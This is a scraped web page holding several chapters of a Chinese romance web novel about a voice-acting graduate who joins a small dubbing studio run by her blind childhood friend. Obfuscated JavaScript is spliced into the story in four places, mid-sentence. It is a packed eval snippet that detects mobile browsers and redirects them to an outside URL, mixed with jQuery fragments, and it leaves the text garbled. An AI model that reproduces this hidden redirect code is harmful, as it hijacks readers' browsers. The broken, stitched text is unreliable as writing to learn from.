l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460823|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更注重日常的细节。 聆镜的每个工作人员在这个节目上都有演出,每个角色秦叠都如数家珍,不过…… “不过,池老板有在里面出演吗?我耳拙,没听出来。” “有的啊,那些家禽,碰撞声,出剑声,擦挂声,衣服扫落的声音都是池老板扛起来的。” 林桐笑颜如花。 可以看出工作室的人对这个老板既尊敬又保护,氛围很是和睦。 不过,几个问题下去,秦叠就发现事情不简单。 哪是像鸿门宴,这根本就是个鸿门宴。 整个过程,池晚桑和陈藻两人都没说话,一直在观察她的表现,前者是老板,要矜持,至于后者,是真的腼腆。 吃到一半,陈藻才忽然提了一嘴:“如果要你换做不同的风格和情感介绍这份酸汤鱼,你会怎么表现?” 话语一出,开始还佯装和谐的氛围瞬间崩塌。 也是,了解完面试者的基本情况,该看专业能力了。 秦叠甚至感觉到锅里的鱼都在滚水中睁开了眼睛。 “我先给你打个样吧。酸汤鱼,朕的皇后要吃酸汤鱼!”苏木瞬间切换嗓音,立马充满气势的浑厚声线,带着对皇后的宠溺,还有不容置疑的命令。 秦叠这才将眼前的人和网上杀伐果断的将军联系在一起,原来内向的人爆发力也这么强。 “嗻,奴才这就去命御膳房准备。”苏木顺势接上。 秦叠被这群人灵活应变能力给惊着,一时有些呆滞,林桐见她有点不知所措,也接戏道:“皇上,鱼,鱼里有毒……” 虽然这种发疯的场景,她独自一人早已预演了无数遍,但在所有人鼓励的目光下,秦叠还是有些难为情。 她将嗓音压低,发出沙哑破损的老嬷嬷音,摇摇欲坠,又不敢不言:“可,可这鱼是皇上亲自做的,亲自端来的……” 气氛一下子被带到高潮,周围都是一群有能力的配音演员,闭上眼睛,闻着这香味,仿佛身临其境般。 宫女和皇后都疯了,非要和皇帝双宿双飞,最离谱的是皇帝找了多年的儿子竟然是身边侍奉的太监,太监寻求一生的酸汤鱼调料是皇后的独创…… 故事发展情节越发离谱,直到对面的人听不下去。 “咳咳,卡。123,123,换景,场务来,准备下一场。” 池晚桑丝毫没被这场闹剧影响,冷静地加入,又夹起一块鱼肉,叫停了一切。 “点到即止,吃饭不要走过场,用心品味食材的层次,再简单的饭,也能吃出不同的感觉。” “好的,主厨。” “Gotit,captain.” “收到,当你没有胃口时,不要抱怨食物。” 终于结束了,猝不及防的开始,和池老板的相亲一样措手不及。 最后离开的时候,林桐才和秦叠说明这是聆镜面试的必备项目,能够豁得出去,融入场景,随地大小演,切合角色的人才是他们在找的。 让秦叠先回去等通知,今天总的来说表现不错。 这让她想起小的时候,家长不让边看电视边吃饭,于是在餐桌上大小演便成了她和池晚桑的保留节目。 有一回池晚桑弹琴一直卡在某个点,郁结于胸,食不下咽,还是她模仿电视里派大星的声音,津津有味地吃下了四百八十个蟹黄堡,才让池晚桑动筷。 她一直觉得弹琴的他虽然光芒万丈,但是并不快乐。如果可以,她希望他做自己喜欢的事。 没想到如今是真的没弹琴了。 盲杖撞击地面的声响,身后玻璃门打开。 池晚桑拎着一袋垃圾出来扔,秦叠想都没想就跑上前去。 他走得很从容,盲杖在他手里更像是国王的权杖,轻易间就能翻云覆雨,而不是需要倚靠的工具。 而他坐在孤独的宝座上,像一首诗,缓缓吟唱黑暗的交响。 垃圾袋摸索了半刻才准确地丢在桶里,“咚”的一声响,空荡荡的。 和他空洞的眼神一样无助。 秦叠终究没忍住,在离他几步远的地方停下,手舞足蹈试图吸引他的注意,嗓子有些哽咽。 池晚桑,你真的不认识我了吗?真瞎假瞎啊? “秦小姐还不走,至于和我一个瞎子玩捉迷藏?” 4. episode4 “你,看得见我?”秦叠此时不知是惊是喜,“那你为什么……” “你身上奶茶的味道太浓了,甜的腻人,去学校的时候换一件吧。” 池晚桑冷漠地打断她的话,语气里不含一丝情绪,甚至也没有被冒犯到的愠怒。 “是找我还有事吗?” 他没有捅破秦叠咋咋呼呼的动作其实有很明显的响动,而且很无礼。 “我……” 池晚桑手里电话响,接通,传来一阵巨大的咆哮。 剑眉微蹙,他面不改色将声音降低几格。 “喂?” 声音还是冷静自持。 自重逢以来,永远是这幅处变不惊的模样,让人牙痒痒,却又找不出半点差错。 “你小子这么久不来看老头子我,是当我死了吗?我好歹算是你的恩师,就这么对我的?” “我一个人在这养老院,看也看不见,没个人说话,都快憋闷死了。” “如果你不是忙着谈恋爱,没有正经事我不会原谅你的……” 面对这串连珠炮,池晚桑又将电话拿远了三分。 虽然他一言不发,表情也淡淡的,但他脸上似乎有笑容。 秦叠揉揉眼睛,这是错觉吗? “黎叔,”他温和地叫了声,对面并没有买单,又耐着性子喊了两声。 “今天工作室招新,等会儿就来看你,带上苏木。我现在还有事,先不说了。” 应该是他熟悉的人,声音里才不设防备。 电话挂掉。 “秦叠?还在吗?” 磕磕绊绊过了一天了,此时他棕褐色瞳孔在夕阳光辉下反射出亿万颗稀碎的星子,他并不惧光,茫然四顾,直直对上街角的夕阳。 而秦叠还在原地没动,此刻看见他的眼睛,像经年的棕色琥珀,黑色瞳仁经历磨难被封印在梦境中,落日熔金镌刻在里面,美得难以形容。 除了他偶尔迷茫地四顾外,很难看出他是盲人。 “我在。” 秦叠急忙回应。池晚桑只是站在原地,“看着”声音的来向,沉默着。 “啊,我,我之前认识一个人和你长得很像,忍不住多看了眼。” “你是播音主持专业,今年毕业?”池晚桑明知故问道。 “对。” “生活困难吗?需要钱?” 身上长期在奶茶店之类的地方打工才会沾染上甜腻的香精气息,池晚桑早有猜测。 “啊?没有,还好还好。” 她嘴硬。 不知道哪里出了破绽,被人抓去了身上的寒酸气,秦叠故作矜持理了理袖口和领口。 当然她过得并不好。 爸妈又发来消息说哥哥现在的爸妈不愿意让哥哥回原生家庭,正在发愁,动不动就把气撒在她身上。 他们让她提前去别人家里送些东西,联络感情,了解情况。 可她不愿意。 哥哥在别人家生活了接近十年,有感情基础是正常的事,现在去拆散别人确实并不合适。 刚才在聆镜里面,她的手机就收到数条邮件,全是希望采访她的媒体。 她现在未来一片黑暗,爹不疼娘不爱,指不定哪天就被房东赶出来,露宿街头的形象有什么好采访的。 一一回绝。 “生活不算富足,还算过得去吧。” 池晚桑却没有理会她的撒谎,“如果确定会入职,最好辞了奶茶店的工作,我们不能有太分心的员工。” “你,怎么知道?”秦叠有些怔愣。 “味道。” 两个字足以解释,他没有继续在一个话题上纠结。 “没有读研的打算?” 她犹豫了半秒,“对,没有。” “好。” 考虑到秦叠,他没有让场景变得尴尬,似乎像是一个事后的背景调查,正要转身进门时,秦叠叫住了他。 “那个,能,问一下你眼睛是怎么回事吗?” 池晚桑的脚步明显停顿半步,脚腕有些踉跄地撞在台阶上。 简单的三级阶梯,在他面前并不容易,被秦叠唬住了节奏,忽然间有些重心不稳。 就在快要倒下去的瞬间,一个男人上前扶住他的胳膊。 有惊无险。 黑色鸭舌帽,黑色口罩,如果不是做贼心虚的人,就是躲着狗仔的明星。 秦叠从他仅露出的眉眼里,感到一丝相熟。 “没事吧?” 声音也刻意伪装了些。 池晚桑有些失神,讪笑了笑,“没事,谢谢。” 男人动作利落,将他扶正就匆忙离去,余光间对秦叠似有所闪躲。 在她也想说声谢谢的时候,男人压低帽檐加快了脚步。 有必要跑这么快吗?难道怕池老板感谢他,给他几百大洋的感谢费? 秦叠还没来得及为刚才的唐突解释,又一个女人对着池晚桑冲了上去。 “您是盲人吗?方便接受我们的采访吗?我们正在做一个关于科普盲人生活的专题……” 女人明显是早就在暗中埋伏,挑准时机,精准出击,嘴巴里一溜串输出,不给人喘息的机会。 “不好意思,不方便。”池晚桑此时的动作略显急促,许是刚才给惊着了,许是对这个女人无礼的厌恶。 他声音里克制着不耐,却仍然阴冷了许多。 记忆中的池晚桑是洒脱豁达的大男孩模样,那时候他还看得见,会带着弟弟池向榆去田里面玩,淌小溪,爬树,打鸟。 秦叠也跟着混过。 可有一次,秦叠和池晚桑去河里摸鱼的时候,池向榆一个人爬到树上去,被蛇咬了,重重摔了下来。 还好蛇没有毒,不过池向榆一边胳膊却断了。 那是她第一次看见池晚桑的爸妈,他们满心满意的池向榆,对池晚桑甚至只是寥寥责备了两句。 后来几天,他们家一直只有池晚桑和他外婆两个人,据说爸妈带着池向榆在城里养病。 不闻不问的冷暴力,秦叠非常熟悉。 之后她才渐渐发现池晚桑表面大大咧咧,心里面却扭成九曲回肠。 他向来是不被偏心的一方,他早就知道,只是因为年纪尚小,对亲情还一直存有眷恋。 他曾经在低落的时候说过:“如果没有人知道你死了,你就没有死,你的故事还会在口口相传中继续延续。” 哼,口是心非的男人。 那时池晚桑的脸上永远是阳光洒满的开朗,眉眼舒展开,似乎能在他眼里看见太阳。 从没有今天这样的神情,瑟瑟发抖,小心翼翼。 女人还要继续纠缠,伸手就要扶池晚桑进门。 秦叠觉得她一定是看上了池晚桑的美貌,想趁机揩油,她眼疾手快跟了过去,抢先一步挽住他。 “不好意思啊,不能拍视频,涉及个人隐私,请你们尊重。” 握住的胳膊只是因为惊讶稍微颤了瞬,并没有挣脱开。 视频博主讪讪离开,池晚桑才轻声喃喃自语:“是我自作自受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460824|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他是在回答秦叠的问题。 大部分人对盲人失明的原因都秉持着分寸和距离感,不敢多问。 他也很久没回忆过那个午后了。 “啊?” 秦叠没听清,看着池晚桑无助的样子,心里不是滋味,早忘记了自己的问题,“我扶你进去吧。” 里面还在热火朝天地讨论八卦,在内卷成疾的时代,这个不聊工作的佛系工作室名副其实。 他们对外面发生的事情完全没注意,见池晚桑被秦叠扶着进门,顿时噤了声。 “不小心摔了一跤,没关系。” 还是池晚桑玩笑着打破沉默,倒垃圾的活是他自己揽过来的,不想让自己在工作室成为被照顾的一方,他常常做着超出自己能力范围的事。 却惊人地完成。 在大家真的快相信他时,又在此刻忽然提醒所有人,他的不同。 这种不同,不是后天努力就能填平的沟壑。 “晚桑,剩下的食材……”苏木顺着话头转移注意。 “带上,黎叔让我们去养老院看他。” 察觉气氛不对,秦叠转身告辞。隐约听见里面说什么配音古装玄幻的人手不够,反派的声音迟迟找不到契合的,希望池晚桑能再次出山,代表聆境光合…… 刚呼吸到门外的新鲜空气,秦桑却忽然觉得今天的面试完蛋了。 嘴还是不能太欠,问了他这样冒犯的问题,应该没希望了吧。 手机震动。 鱼:【师姐,弟弟买了学校门口的奶茶孝敬您,自己去拿一下,面试顺利哦。】 她现在最不想见到的就是奶茶和咖啡…… 琴:【对我真好,栓Q了。】 鱼:【今晚社团在小广场又有演出,有时间来找我们玩。】 琴:【收到~】 秦叠有些心神无主地走在步行街上,路过一个拿着乞讨破碗还有二维码的老乞丐,约莫四五十岁,见人就拦着要钱。 不如当个乞丐,比找工作来钱快。 轮到秦叠经过,被照例给拦了下来。 可她六神无主,耗费一天的精力都快被抽干,膝盖一软,干脆跪坐在了乞丐面前。 她的皮肤本就白皙,此时又添上几分绝望的惨白,唇釉都掩饰不住的歘白唇色,还有生无可恋的表情,将那乞丐给吓得退后了两步。 “大哥,您一月挣多少钱呐?” 秦叠颤颤巍巍开口。 之前面试都没成功,眼看就要毕业,如果这次也失败的话,她势必会被爸妈逼着回老家畏畏缩缩过一辈子。 她不甘心。 乞丐有些惊慌,捂紧了碗盖,故作镇定道:“将就谋生存吧,不过,这条街已经没你的位置了。” 要饭也这么卷? 但秦叠根本没听他的话。 要不还是和池晚桑摊牌吧,老朋友互相帮一把,她的底子也不错,不至于拖工作室后腿的。 毕竟自己刚才也帮了他的忙,哦不,虽然事情的乱,是她添的。 但是无论如何,死马当活马医,这样算来还有点希望。 她的眼里闪过一丝诡异的光,望向那乞丐,却把那人给生生逼得后退两步。 穷人不可怕,可怕的是被逼疯的打工人。 眼前这个表情系统管理紊乱的女人,一定快疯了。 “没事吧?” 一片黑色影子在她头顶罩住日光。 是刚才那个蒙面男人。 正伸出一只手给她借力。 5. episode5 “没事,谢谢啊。” 秦叠不客气攀上他的手臂,借力站起来,不好意思地讪笑两声,“有些腿软了。” “我,是不是在哪儿见过你?” 男人听后,立马将手缩了回去,压低帽檐。 天气虽然不算热,带着黑色帽子和口罩着实有些招摇过市,男人个子不矮,比秦叠高出半个头,但没有池晚桑高。 此时黑洞洞一人戳在她对面,如果不是两次受了他的恩惠,秦叠会以为这是个神经病。 “没有。” 他的声音很小,且不像是自己的原声,撂下两个字,便匆匆离开。 这年头,做好事不留姓名,那就叫他活雷锋吧。 秦叠翻开手机通讯录,却发现池晚桑的联系方式在她高考结束后,迟迟找不到人时,一气之下给删掉了。 开始的时候还满怀希望接起陌生号码,期待他的出现,后来心情烦躁到对这些广告轰炸“恶语相向”。不知道是不是错觉,感觉骂过几次后,接到的广告都变少了。 推销竟然也拉黑她了嘛。 大学期间换了次号码,老通讯录复刻过来,自然不会有池晚桑的联系方式。 算了,事已至此,秦叠觉得奶茶不能白买。 于是她绕道前往学校。 乘着夏夜气氛好,她又在小广场上声嘶力竭地献唱了几首失恋情歌,搞得气氛降为零点才满意地离去。 周静昀和余庆在后面抱着键盘和架子鼓,大气不敢出,看着她笑着离去,才稍微眼神交流。 周静昀:这是,失恋了? 余庆:Nonono,八成是面试出了问题。 周静昀:“要去看看吗?” 远处,没走远的秦叠忽然蹲下去捡起乱扔的饮料瓶,然后走两步,捡起一个糖纸,走了没几步就抱了一团垃圾,嘴里还骂骂咧咧地煮着什么脏话。 余庆:“看样子,师姐应该想一个人呆着。” 周静昀愣住,点头如啄米。 小广场出口处有一个大专宿舍,每回路过的时候都有一群男生单手插裤兜,头发.漂白,带着耳钉鼻钉唇钉舌钉,摆各种造型抽烟。 不过四五级的台阶,像是演绎出了一百种小时代。 秦叠本想见怪不怪地路过,却忽然在那群人里看见一个扎眼的存在。 池晚桑也坐在第三级台阶上,长腿微曲,双手懒倦地搭在膝盖上,右手食指和中指间夹着一根抽了一半的烟,火星闪烁得微弱。 每吸一口,他眉头都微蹙颤抖,明显是不常吸烟的人。 而他右脚脚踝前侧,白皙的皮肤被划开,薄而几近透明的皮肤下,红色嫩肉稍微翻出来,血迹将干未干。 是下午在台阶上蹭的,长裤遮挡着看不出来,只有这样屈腿,裤管上移一段距离才能发现。 这人也是真能忍。 他一侧耳朵还戴着耳机,另一侧方便和旁边的人搭话而空着。那只叫岫白的黑狗安静地融入夜色中,在台阶上,像一双眼睛凭空飘在空中。 若不知道他是盲人,此时混杂在大学生中间,丝毫不显突兀,年轻有朝气,短发蓬松遮住额头,笑得很灿烂。 秦叠“啧”了一声,装作没看见,继续往前走。 池晚桑在考虑秦叠的事情。 工作室的人对她的表现还算满意,但是得过老板这儿最后一关。 总的来说小姑娘专业技术不错,相比较他们这群半路出家的人,技巧方面是有过之而无不足。 不过,饭桌上的问答总是给人小心翼翼的感觉,并不洒脱,不像是刚毕业的学生,她游刃有余的应答更像是在社会上历练过的人。 太过圆滑。 不一会儿,旁边的男生轻撞了下池晚桑,语气随意开玩笑道:“别想你弟弟的事了。刚有个美女看我们这边老久了,没想到是在看你。” “呐,细心地给你买了擦伤药,我帮你涂。不过,你这怎么弄的?池老板很久没这么马虎了。” “女的?人走了吗?” 池晚桑有些疑惑。 “早走了。” 他看向秦叠离开的方向,没能猜出来是谁。 秦叠这边,公益群来消息。 惠熙:【怎么样?去见着你哥了吗?】 他们竟然真的以为秦叠会放弃自己手里的面试去别人家赔上无关紧要的笑脸。 秦叠黑着脸将手机关机。 忽然想到还得用来接收录取信息,于是又很怂地重启手机。 她手机里只有哥哥的一张照片,男孩的长相和所有记忆都停留在少年时代。 秦叠无法想象一个初中男生到底出于什么样的原因才会走丢,也不是一两岁的孩子,对家庭的概念,爸妈电话住址的记忆难道还不够吗? 记忆中的哥哥和池晚桑关系很好,两人性格相似,总是玩得来,会一起给她带回来自己做的小玩意儿,会争抢着把西瓜最甜的瓤留给她。 可是他不见之后,一切都变了。 出于封建迷信,期盼让老天可怜这对夫妻,她不能堂而皇之地叫爸妈,称呼改为了叔叔婶婶。 就像她的爸妈也不见了,甚至有那么些时候,秦叠觉得爸妈有一天会为了找哥哥放弃自己。 纵使她也很喜欢哥哥,但是他的离开,家里的魂就像跟着他离去了一样。 哥哥是颗恒星,爸妈只会围绕着他转,就连惠熙自己可能都没发现,自那以后,她张口闭口,三句离不开秦东柏。 无意识的举动,暴露了内心最深处的渴望。 越想越憋气,秦叠惯性走进了她家楼下的超市。 看着排列整齐有序的货架,商品被分门别类地放在属于自己的地方,有种说不出的舒适感。 像是繁重的工作有人替你做了,解决不了的天大难题忽然一天就迎刃而解了,怎么也甩不掉的狗皮膏药突然间就想通了。 是一种很解压的感觉。 导师发来一条消息: 【考虑好没啊?过了这个村就没这个店,你又没参加考研,再犹豫机会就给别人了。】 刚梳理好的情绪瞬间炸毛。 真是生活处处是惊吓,累死一个算一个。 实话说,她很犹豫,研究生名额有限,但她确实财力更有限。学校不给研究生提供宿舍,打零工的钱不可能担负学费和房租。 但是凭借优异的总评成绩和面试成绩拿到这个敲门砖,导师也主动保留位次,机会不常有。 考虑再三,秦叠删了又编辑,又删又编辑,还是只发出去几个模棱两可的字: 【明白,非常感谢教授您。我这边确实有些难处,再给我三天时间好吗?】 虽然对聆镜光合那边说的是有直接就业的打算,但是研究生课程并不繁重,协调两者之间的冲突,秦叠觉得自己还是能做到。 目前就是看聆境光合能不能给自己offer,这样就能顺理成章拿工资赚学费了。 脚步声重重踏在水泥台阶上,声控灯并不灵敏,二楼的灯早就坏掉了。 难得被唤醒的昏黄灯光旁还潜伏着枯枝败叶模样的飞蛾,等灯亮一瞬,便不要命地扑过去。 像她,看见微小渺茫的希望,就算仅一瞬,她也会扑过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460825|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 二楼转角人家不知道何时又在门口堆了几个铁皮箱子,没有灯光,秦叠直直撞上去。 闷哼声伴着铁皮撞击声,带着箱内的空气一起震颤。 虽然房子并不隔音,但这点声音并不能掩盖房间里此起彼伏的音乐声。 秦叠只有苦中作乐:还好没住这家楼下。 她捂着被撞疼的手肘和膝盖倒吸一口冷气。 “嘶——也不知道池晚桑这些年是怎么过来的。” 今天下午和社团的人谈起聆镜光合的老板是盲人的时候,有人提起一款帮助盲人的软件,叫myeyes,志愿者可以接通盲人求助者的视频电话,操作简单,使用人数却不少。秦叠带着好奇点开。 在日常生活中很少接触到盲人,她以往对这方面并不关注。 磕磕绊绊注册完毕就收到一条求助。 点开视频看不见对方,似乎是对这款软件很熟悉的使用者,镜头对准地面,并没有过多移动和乱晃。 一个小心翼翼的女孩子在对面轻声问道: “请问能听得见吗?” 秦叠忙不迭回应:“可以。” 女孩子有些不好意思,为难地说:“我的笔掉地上了,找了很久都没摸到,你能帮我看看在哪里吗?” 镜头里白色瓷砖上,躺着醒目的一根黑笔,秦叠鼻子一时有些酸涩。 “您往前走两步。” “再往左走一小步。” “好了,慢慢蹲下去,就在您左脚边。” 女孩子摸到笔,长舒一口气,“终于找到了,麻烦你了。眼睛看不见确实太不方便了些。” 她的语气很脆弱,但仍竭力带着笑意。 秦叠只觉胸中憋闷,换着海绵宝宝的声音回应:“没事的,笔落在一个死角,本来就很难发现。海绵宝宝祝您永远不掉笔!” 清脆的笑声传来,女孩说了声谢谢便挂了电话。 并没有继续深入沟通的意思,充满了距离感。 在正常人看来再普遍不过的事情,他们却需要花费千倍万倍的努力。 秦叠一时有些神伤。 因为她还在线,不一会儿,又有视频打来。 账号名叫小瞎子,这人有点性格。 “还挺实用的。”秦叠自言自语两句打开视频。 里面黑漆漆一片,传来男人修饰过的声音:“您好,听得见吗?” 声音稍微扁平了些,略显青涩,像是初春田里刚长出的嫩苗,鲜绿,充满生机,和“小瞎子”这个萎靡的账号很不搭。 像是在哪里听过,想不出来。 不过很好听。 如果不是听多了配音,不会发现他隐藏了真声。秦叠有些不快,毕竟自己是志愿帮忙,没必要这么不信任吧,又关灯,又变声的。 谁不会似的。 于是她也换了种偏稚嫩的女声:“您好,可以听见,请问有什么需要帮忙的吗?” 视频那边默了一瞬,随即传来窸窸窣窣的声音,十分诡异,秦叠这莫不是被什么变态盯上了? “我想让您帮忙看看这个牛奶过期了没?” 她这才反应过来出了什么问题,犹豫半天不知道如何开口。 对方以为信号出了问题,再次出声: “请问您现在方便看吗?” 竟还在为她考虑。 “方便。” 秦叠缓缓吐出一口浊气,尽量不让自己显得太冒犯。 “就是,您得先开一下灯。” 男人恍然,冷笑一声,有些自嘲地揶揄:“抱歉,我习惯了这样的生活。” 6. episode6 他对灯开关的位置并不熟悉,摸索了半天,随着咔哒一声,屋里瞬间亮了起来。 牛奶盒挡住了整个镜头,看不见房间的陈设。 经此一事,秦叠原谅这人的谨慎。 在黑暗里,习惯了将自己包裹起来。 小心一点不是错。 “镜头拿近一点……今年……一……月份过期了,最好还是不喝了吧。” 秦叠眼珠都快瞪出来,想不到这还是个体力活,手机弹窗跳出一个消息。 “又更新了,真好。” 镜头那边传来两声轻笑,没有不友善的意思,好心情似乎也能传染,那人笑道:“你还挺喜欢自言自语的,那再见了,谢谢你。” 秦叠有些尴尬,下一秒却在移动的镜头里看见旁边的药盒,生产日期都是三年前了。 她意识到了什么,忽然疾声说道: “等等,牛奶盒旁边的药也过期了,不能吃了,抱歉,我不是故意偷窥您的隐私。” 镜头顿了下,男人的声音柔和了几分,卸下大半的伪装,有些无奈,“好像有感冒的预兆,那就不吃了,谢谢你,麻烦了。” 似乎是为了让她安心,镜头里出现一只手,将牛奶和过期药品都丢进垃圾桶。 画质虽然不算清晰,可还是看得出来这双手指节分明,太过白皙甚至在关节处透出淡淡粉嫩。 “不麻烦,你,你的手很好看。” 心里想的什么,就这样说出来了。 “谢谢。” “不客气。” 退出软件,秦叠还有些愣神,在原位上放空了半晌。 在软件上,如果没有意愿,只会和这些人聊这么一次,这种感觉有点像小的时候,小孩子没有通讯工具,拿着一次性的废纸写上想说话的话,到处传纸条。 纸条送出去,就不会再收回来,和每个人的童年一样。 她和哥哥在爸妈眼皮子底下写作业时,也会传纸条,说悄悄话。池晚桑来蹭饭的时候,上面偶尔还有他的字迹。 他们送出去的话,停泊在了秦叠这里,她放在一个小盒子里,这么多年,都没扔掉。 但是两个人,却相继离开了她。 依照着白天陈藻展示的配音片段,隐隐记得池晚桑使用过的几个网名,她尝试着去搜索池晚桑的作品,却忽然在众多视频里一下子看见熟悉的画面。 当派大星成为诗人——泰戈尔精选。 这篇的播放量最少,配音很小众,但所有记忆一下子重叠。 初中时候,最早接触到的外国诗人便是泰戈尔,秦叠觉得池晚桑的声音很适合念诗,每回需要背诵的课文,都缠着他念一遍。 大学在宿舍睡不着的时候,偶然的机会在网站上看到过这篇独特的念诵。 她以前说过,觉得泰戈尔的诗很美好,像粉红色的泡泡,如果是派大星的声音念出来,会别有一番韵味。 像是在海底筑造了一座华丽城堡,珊瑚点缀,珍珠照亮,稚嫩的声音轻唱深意的文字,如梦似幻。 之前还以为是哪个志同道合的博主。 原来是他。 他还记得。 视线移到架子上的望远镜,此时歹人又起了贼心。 池晚桑,回去了吧? 眼睛又看不见,别一直和那些人混,小心把自己给搭进去。 她的身体却很诚实地将望远镜摆好。 她就是关心一下老朋友,嗯,没什么。 这次池晚桑很顺利进入了她的镜头。 暖色灯光下,他面前摆着一本书,细长的手指在上面摸索,尝试读懂盲文。眉心不时微蹙,不知道是内容不太好,还是压根读不懂。 “不过,他看书需要开灯吗?” 秦叠逗弄窗台边的含羞草,小草被触碰到,立即羞涩地合拢叶片。 “你也觉得不需要是吧,可能喜欢这种感觉吧?” 视线右下角有黑漆漆一团,秦叠以为镜头脏了正准备伸手去擦。 那团黑色上忽然长出两只棕色的眼睛,而且,直直地朝自己看过来。 怎么,有些心虚呢……这狗视力这么好? 看得秦叠有些毛骨悚然。 此时手机响动。 “我不是变态,不是变态。” 手忙脚乱间,乱了阵脚,捧过手机来看,却更让她心头一紧,呼吸暂停。 陌生号码。 究竟是无聊的广告,还是最后的宣判? 秦叠颤颤巍巍将屏幕中心的按钮滑向绿色,拜托一路绿灯啊。 “是秦叠吗?” 池晚桑的声音。 “是。”秦叠感觉自己喉咙被人夹紧,艰难地发声。 不会要报警抓她偷窥吧…… “这里是聆镜光合工作室,今天你来我们这里面试,大家综合考虑了一下,恭喜你被录用了,不过需要经过三个月的实习期,可以接受吗?” 秦叠大脑一片空白,小工作室就是效率高啊,之前投简历三个月才收到面试通知,再三个月才会有最终结果,今天竟然一天就搞定了。 “可以可以,非常可以!” “我们很欣赏你的专业能力,你加入后就是工作室第一个专业的人了。不过还得提醒你一下,工作室没有什么宏大的愿景,可能一直这样发展下去,你能接受吗?如果和你就业前景有冲突,可以拒绝。” “没有,没有冲突,我来!” 佛系,不卷,工资待遇不错,还有什么值得犹豫的。 “好,欢迎加入聆境光合,你的微信号是手机号吗?” “是的是的。”秦叠激动得每句都恨不得变成叠词,说上三遍。 “好的,明天见。” “再见再见。” 不一会儿,池晚桑的好友申请就来了。 头像还是之前高中的校服,红白配色。 这个人还挺念旧。 秦叠发过去一个打招呼表情包,以示礼貌。 桑:【对了,以后少吃泡面,垃圾食品对嗓子不好。】 秦叠有些懵,他怎么知道?还是老老实实回复,老板说得都对! 琴:【收到,谢谢老板关心!】 可此时的秦叠不在乎这些,立刻,现在得把好消息传递出去。 先给亲爱的外婆拨过去。 老年人现在越来越能熬夜,就算在电视机前睡过去,也要等十一二点才肯上床。 果然电话被很快接通。 外婆也很高兴,让她好好干,不要辜负老板的赏识。 她还说自己看电视看饿了,煮了一碗面当夜宵,好潇洒的老年人。 听得秦叠也有些饿,可怜巴巴看了眼桌角的方便粉丝,想起池晚桑的叮嘱,狠心拒绝酸辣粉妃嫔的侍寝提议。 胃里最近的进食还是池晚桑做的酸汤鱼,想想那口感…… 不行,口水要控制不住了。 电话拨通,对面传来小广场上嘈杂的音乐。这帮家伙还在唱。 “静昀,我面试通过了啦!帮我谢谢余庆的奶茶。” “真的吗?太好了师姐,恭喜你。” “你们还在小广场吗?我给大家点了夜宵,玩得开心!” “师姐在家吗?我们一起庆祝一下吧。” “不用了不用了,我休息一下,明天一早还得上班。” 秦叠躺倒在床上,看着破皮的墙壁,上面花哨的儿童画,还有卫生间墙角被浸湿而变色的水泥。 这里太寒碜了,落脚的地方都不够,还是不请大家来了。 哪想到没躺一会儿,门口响起敲门声。 秦叠寻思今天也没用水,不至于又漏到楼下去了吧? 一开门,就挤进来两个人头,丝毫没有客气的意思。 “surprise!” “人太多了怕你累,我和余庆代表全队向您表达真挚的祝贺。” 秦叠还没反应过来,手已经被周静昀拉过去,一个劲儿地握手。 另一旁的余庆提着香气扑鼻的夜宵找个机会就钻了进去。 看见她手机上放的做饭视频,还有一旁的瓜子壳,不屑地切了一声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460826|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师姐,你这是望梅止渴啊,还好我们来了。看我们给你带什么了。” 秦叠不用打开,闻着这味儿就知道,“麻辣小龙虾!你们太好了!” 两人来过这里,熟门熟路布置好饭桌,丝毫没有见外的意思。 “干杯!祝师姐毕业快乐!” 手机上的视频直播也即将结束,今晚做的是肉末酸菜粉丝,十分家常的一道菜。 倒是和中午酸菜鱼的用料差不多。 周静昀的眼神不经意瞥过屏幕,不由地感叹:“我也关注了这个博主!博主这双手,惊为天人,好羡慕啊。” 余庆鄙夷地乜了一眼:“这人也不说话,干巴巴的视频有什么好看的。” 周静昀白眼:“你懂个屁,他粉丝可多了。不过人倒是有点高冷,从来不回复留言。不过不影响我们欣赏艺术品。” 弹幕上飘过一条吐槽:今天的看上去不是很想吃,博主不如描述一下味道吧。 这怎么会没有胃口,酸菜妥妥开胃用的好吗? 秦叠笑着应和周静昀,说余庆没见识,一边鬼使神差回复那条弹幕:当你没有胃口时,不要抱怨食物。 不一会儿竟然收到回复提醒,以为是被回怼了,她不介意扫看了一眼。 没想到是被博主翻牌了! 